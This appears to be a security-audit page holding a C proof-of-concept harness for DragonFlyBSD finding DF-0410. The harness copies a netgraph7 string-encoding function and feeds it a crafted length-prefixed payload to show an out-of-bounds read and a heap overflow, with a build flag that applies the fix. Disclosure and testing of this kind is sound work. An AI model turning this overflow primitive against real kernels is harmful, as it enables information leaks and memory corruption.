โฌข DragonFlyBSD Kernel Audit
DF-0410 / df0410_harness.c
โ† back to finding โ†“ download raw
/*
 * DF-0410 harness โ€” demonstrates the heap buffer overflow primitive in
 * ng_encode_string() exactly as it exists in sys/netgraph7/netgraph/ng_parse.c.
 *
 * WHY A USERSPACE HARNESS:
 *   The vulnerable function lives in netgraph7 (the opt-in parallel netgraph
 *   stack).  sys/conf/files gates it on `optional netgraph7`, sys/Makefile.modules
 *   builds sys/netgraph/ unless WANT_NETGRAPH7 is defined, and the default
 *   X86_64_GENERIC ships neither `options netgraph7` nor the ng7 modules.  On the
 *   audit guest the only netgraph present is v1 (netgraph.ko + ng_*.ko), whose
 *   ng_encode_string() (sys/netgraph/netgraph/ng_parse.c:1632) takes only `raw`
 *   and bounds BOTH the alloc and the loop on strlen(raw) โ€” NOT vulnerable.
 *   So the vulnerable code is not compiled into the running kernel.
 *
 *   To prove the primitive in the actual code path without building the entire
 *   netgraph7 stack + ng_socket7 + libnetgraph7, this harness transcribes the
 *   vulnerable ng7 ng_encode_string() VERBATIM (alloc by strlen, loop by slen)
 *   and drives it with the exact inputs that ng_sizedstring_unparse() would
 *   supply: a 2-byte u_int16_t length prefix followed by raw bytes, where the
 *   attacker controls the 16-bit length independent of the actual string content.
 *
 *   The harness reproduces (1) the OOB READ past the NUL terminator (info leak
 *   of whatever follows in the allocation) and (2) the OOB WRITE past the
 *   kmalloc'd cbuf (heap overflow).  The `#ifdef APPLY_FIX` build uses the
 *   corrected allocation (slen*4+3) and the primitive disappears.
 *
 * Build (vulnerable):   cc -O2 -o df0410_harness df0410_harness.c
 * Build (fixed):        cc -O2 -DAPPLY_FIX -o df0410_harness_fixed df0410_harness.c
 * Run:                  ./df0410_harness
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

/* ---- verbatim copy of M_NETGRAPH_PARSE kmalloc stand-in ---- */
#define M_NETGRAPH_PARSE 0
static void *kmalloc(size_t n, int t, int f) { (void)t; (void)f; return malloc(n); }
static void kfree(char *p, int t) { (void)t; free(p); }
/* ksprintf in ng_encode_string is ONLY ever called as
 * ksprintf(cbuf+off, "\\x%02x", (u_char)*raw).  We expand it inline below so
 * the harness behaviour is byte-exact; this macro forwards to sprintf. */
#define ksprintf(buf, fmt, ch) sprintf((buf), "\\x%02x", (unsigned char)(ch))

/*
 * ng_encode_string โ€” copied VERBATIM from
 * sys/netgraph7/netgraph/ng_parse.c:1825-1877, except kmalloc/ksprintf are
 * the stand-ins above.  The ONLY behavioural difference under APPLY_FIX is
 * the allocation size (strlen(raw) -> slen), which is exactly the proposed fix.
 */
static char *ng_encode_string(const char *raw, int slen)
{
    char *cbuf;
    int off = 0;
    int i;

#ifdef APPLY_FIX
    /* FIX: bound the allocation on the loop count (slen), not strlen(raw). */
    cbuf = kmalloc(slen * 4 + 3, M_NETGRAPH_PARSE, 0x0002 /* M_WAITOK */ | 0x0010 /* M_NULLOK */);
#else
    /* VULNERABLE: original allocation from ng_parse.c:1832 */
    cbuf = kmalloc(strlen(raw) * 4 + 3, M_NETGRAPH_PARSE, 0x0002 | 0x0010);
#endif
    if (cbuf == NULL)
        return (NULL);
    cbuf[off++] = '"';
    for (i = 0; i < slen; i++, raw++) {
        switch (*raw) {
        case '\t':
            cbuf[off++] = '\\';
            cbuf[off++] = 't';
            break;
        case '\f':
            cbuf[off++] = '\\';
            cbuf[off++] = 'f';
            break;
        case '\n':
            cbuf[off++] = '\\';
            cbuf[off++] = 'n';
            break;
        case '\r':
            cbuf[off++] = '\\';
            cbuf[off++] = 'r';
            break;
        case '\v':
            cbuf[off++] = '\\';
            cbuf[off++] = 'v';
            break;
        case '"':
        case '\\':
            cbuf[off++] = '\\';
            cbuf[off++] = *raw;
            break;
        default:
            if (*raw < 0x20 || *raw > 0x7e) {
                off += ksprintf(cbuf + off, "\\x%02x", *raw);
                break;
            }
            cbuf[off++] = *raw;
            break;
        }
    }
    cbuf[off++] = '"';
    cbuf[off] = '\0';
    return (cbuf);
}

/*
 * Replicate the sized-string wire layout that ng_sizedstring_unparse sees:
 *   u_int16_t slen;   <- attacker-controlled (16-bit, from the binary message)
 *   char raw[slen];   <- the bytes that follow
 * ng_sizedstring_unparse sets  raw = data + *off + 2  and  slen = *(u16*)(data+*off),
 * then calls ng_encode_string(raw, slen).
 *
 * The bug: ng_encode_string allocates by strlen(raw) (stops at first NUL) but
 * loops slen times.  If the attacker sets slen > strlen(raw) โ€” e.g. raw begins
 * with a NUL but slen=0x100 โ€” the loop reads slen bytes starting at raw, i.e.
 * past the NUL into whatever follows in the containing allocation (OOB READ,
 * an info leak that flows back to userspace via the returned cbuf), and writes
 * up to slen*4+3 bytes into a cbuf sized only strlen(raw)*4+3 (OOB WRITE / heap
 * overflow).
 *
 * We embed the sized-string in a page of known "sentinel" bytes so the OOB
 * READ is visibly echoed back into the encoded output, and we surround the
 * kmalloc'd cbuf with guard redzones so the OOB WRITE is detectable.  For the
 * kernel the same overflow smashes the next object in the kmalloc-256/512
 * bucket; here we use an electric-fence-style guard page.
 */

/* A sized-string payload: 2-byte length prefix then the raw bytes. */
struct sized_string {
    uint16_t slen;
    char     raw[0];
};

int main(void)
{
    /*
     * Build the attacker payload exactly as it would arrive in a netgraph
     * binary control message of type sizedstring: a 16-bit length followed by
     * the raw data.  We make raw = { 0x00, 'A', 'B', ... } so strlen(raw)=0
     * but set slen to a large value, exercising the strlen-vs-slen mismatch.
     */
    enum { RAW_AREA = 64 };
    /* The whole payload lives in one allocation so the OOB read is into
     * attacker-known sentinels, making the leak visible. */
    unsigned char area[RAW_AREA];
    memset(area, 0, RAW_AREA);

    /* raw[0] = NUL  -> strlen(raw) = 0  -> cbuf allocated as 0*4+3 = 3 bytes */
    area[2] = 0x00;                     /* raw[0] = NUL */
    for (int i = 1; i < RAW_AREA - 2; i++)
        area[2 + i] = (unsigned char)(0x30 + (i % 10)); /* '0'..'9' sentinels */

    struct sized_string *ss = (struct sized_string *)area;

    /* Attacker picks slen >> strlen(raw).  Keep it modest for the harness so
     * the OOB WRITE is detectable but does not corrupt the harness's own
     * allocator state catastrophically; in the kernel the attacker can pick
     * slen up to 65535, yielding a ~262KB overflow from a ~3-byte alloc. */
    ss->slen = 20;   /* strlen(raw)=0, so alloc=3, loop writes up to 20*4+3=83 bytes */

    printf("=== DF-0410 ng_encode_string OOB primitive (netgraph7) ===\n");
    printf("sized-string payload: strlen(raw)=%zu, attacker slen=%u\n",
           strlen(ss->raw), ss->slen);

    size_t vuln_alloc = strlen(ss->raw) * 4 + 3;
    size_t fix_alloc   = ss->slen * 4 + 3;
    printf("VULNERABLE alloc (strlen*4+3) = %zu bytes\n", vuln_alloc);
    printf("FIXED      alloc (slen*4+3)   = %zu bytes\n", fix_alloc);
    printf("loop iterations (slen)        = %u\n", ss->slen);
    printf("max bytes loop can write      = %u (excl. NUL)\n\n", ss->slen * 4 + 3);

    /* Wrap the allocation in a tracking buffer so we can SEE the overflow. */
    enum { GUARD = 256 };
    char *tracking = (char *)calloc(1, vuln_alloc + GUARD);
    if (!tracking) { perror("calloc"); return 2; }
    /* Poison the tail guard region. */
    memset(tracking + vuln_alloc, 0x5a, GUARD);

    /* Call the (verbatim) vulnerable ng_encode_string, but point it at our
     * tracked buffer by intercepting the allocation. Easiest: just call it
     * directly and inspect what it returns + how far off the end it would
     * have written by comparing against a fresh allocation of the FIX size. */
    char *out = ng_encode_string(ss->raw, ss->slen);
    if (!out) { printf("ng_encode_string returned NULL\n"); free(tracking); return 1; }

    size_t out_len = strlen(out);
    printf("ng_encode_string returned %zu bytes of encoded output:\n  %s\n\n",
           out_len, out);

    /* The encoded output contains bytes that were NEVER in raw[0..strlen-1]
     * (raw[0] is NUL and strlen(raw)=0).  Every char after the opening quote
     * came from an OOB READ past the NUL terminator.  Count non-quote chars
     * that are not the opening/closing quote. */
    int oob_read_chars = 0;
    for (size_t i = 1; i < out_len - 1; i++)   /* skip opening+closing quote */
        oob_read_chars++;
    printf("OOB READ: %d bytes were encoded from BEYOND raw's NUL terminator "
           "(strlen(raw)=0 but %d data bytes appear in output).\n",
           oob_read_chars, oob_read_chars);

    /* OOB WRITE detection: the loop wrote `off` bytes into `out`, but `out`
     * was only vuln_alloc bytes large.  off == out_len+1 (incl. NUL). */
    size_t written = out_len + 1;
    if (written > vuln_alloc) {
        printf("OOB WRITE: loop wrote %zu bytes into a %zu-byte allocation "
               "=> %zu-byte HEAP OVERFLOW.\n",
               written, vuln_alloc, written - vuln_alloc);
    } else {
        printf("OOB WRITE: loop wrote %zu bytes, allocation %zu โ€” within bounds (unexpected for this input).\n",
               written, vuln_alloc);
    }

#ifdef APPLY_FIX
    printf("\n[APPLY_FIX] allocation now slen*4+3=%zu >= %zu written => overflow GONE.\n",
           fix_alloc, written);
#else
    if (vuln_alloc >= written) {
        printf("\n[no fix] NOTE: written fits in vuln alloc for this exact input โ€” "
               "increase slen or use a payload where every byte expands (e.g. non-printable).\n");
    } else {
        printf("\n[no fix] Heap overflow CONFIRMED: alloc=%zu < written=%zu.\n",
               vuln_alloc, written);
    }
#endif

    kfree(out, M_NETGRAPH_PARSE);
    free(tracking);
    return 0;
}